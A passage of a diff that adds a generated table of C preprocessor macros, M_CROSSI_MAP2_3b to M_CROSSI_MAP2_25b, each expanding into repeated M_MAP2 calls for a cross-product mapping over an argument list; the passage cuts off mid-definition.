+#define M_CROSSI_MAP2_3b(f, d, blist, a1, a2, a3) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) 
+#define M_CROSSI_MAP2_4(...) M_CROSSI_MAP2_4b(__VA_ARGS__)
+#define M_CROSSI_MAP2_4b(f, d, blist, a1, a2, a3, a4) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) 
+#define M_CROSSI_MAP2_5(...) M_CROSSI_MAP2_5b(__VA_ARGS__)
+#define M_CROSSI_MAP2_5b(f, d, blist, a1, a2, a3, a4, a5) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) 
+#define M_CROSSI_MAP2_6(...) M_CROSSI_MAP2_6b(__VA_ARGS__)
+#define M_CROSSI_MAP2_6b(f, d, blist, a1, a2, a3, a4, a5, a6) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) 
+#define M_CROSSI_MAP2_7(...) M_CROSSI_MAP2_7b(__VA_ARGS__)
+#define M_CROSSI_MAP2_7b(f, d, blist, a1, a2, a3, a4, a5, a6, a7) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) 
+#define M_CROSSI_MAP2_8(...) M_CROSSI_MAP2_8b(__VA_ARGS__)
+#define M_CROSSI_MAP2_8b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) 
+#define M_CROSSI_MAP2_9(...) M_CROSSI_MAP2_9b(__VA_ARGS__)
+#define M_CROSSI_MAP2_9b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) 
+#define M_CROSSI_MAP2_10(...) M_CROSSI_MAP2_10b(__VA_ARGS__)
+#define M_CROSSI_MAP2_10b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) 
+#define M_CROSSI_MAP2_11(...) M_CROSSI_MAP2_11b(__VA_ARGS__)
+#define M_CROSSI_MAP2_11b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) 
+#define M_CROSSI_MAP2_12(...) M_CROSSI_MAP2_12b(__VA_ARGS__)
+#define M_CROSSI_MAP2_12b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) 
+#define M_CROSSI_MAP2_13(...) M_CROSSI_MAP2_13b(__VA_ARGS__)
+#define M_CROSSI_MAP2_13b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) 
+#define M_CROSSI_MAP2_14(...) M_CROSSI_MAP2_14b(__VA_ARGS__)
+#define M_CROSSI_MAP2_14b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) 
+#define M_CROSSI_MAP2_15(...) M_CROSSI_MAP2_15b(__VA_ARGS__)
+#define M_CROSSI_MAP2_15b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) 
+#define M_CROSSI_MAP2_16(...) M_CROSSI_MAP2_16b(__VA_ARGS__)
+#define M_CROSSI_MAP2_16b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) 
+#define M_CROSSI_MAP2_17(...) M_CROSSI_MAP2_17b(__VA_ARGS__)
+#define M_CROSSI_MAP2_17b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) 
+#define M_CROSSI_MAP2_18(...) M_CROSSI_MAP2_18b(__VA_ARGS__)
+#define M_CROSSI_MAP2_18b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) 
+#define M_CROSSI_MAP2_19(...) M_CROSSI_MAP2_19b(__VA_ARGS__)
+#define M_CROSSI_MAP2_19b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) 
+#define M_CROSSI_MAP2_20(...) M_CROSSI_MAP2_20b(__VA_ARGS__)
+#define M_CROSSI_MAP2_20b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) 
+#define M_CROSSI_MAP2_21(...) M_CROSSI_MAP2_21b(__VA_ARGS__)
+#define M_CROSSI_MAP2_21b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) 
+#define M_CROSSI_MAP2_22(...) M_CROSSI_MAP2_22b(__VA_ARGS__)
+#define M_CROSSI_MAP2_22b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) 
+#define M_CROSSI_MAP2_23(...) M_CROSSI_MAP2_23b(__VA_ARGS__)
+#define M_CROSSI_MAP2_23b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) 
+#define M_CROSSI_MAP2_24(...) M_CROSSI_MAP2_24b(__VA_ARGS__)
+#define M_CROSSI_MAP2_24b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) 
+#define M_CROSSI_MAP2_25(...) M_CROSSI_MAP2_25b(__VA_ARGS__)
+#define M_CROSSI_MAP2_25b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), 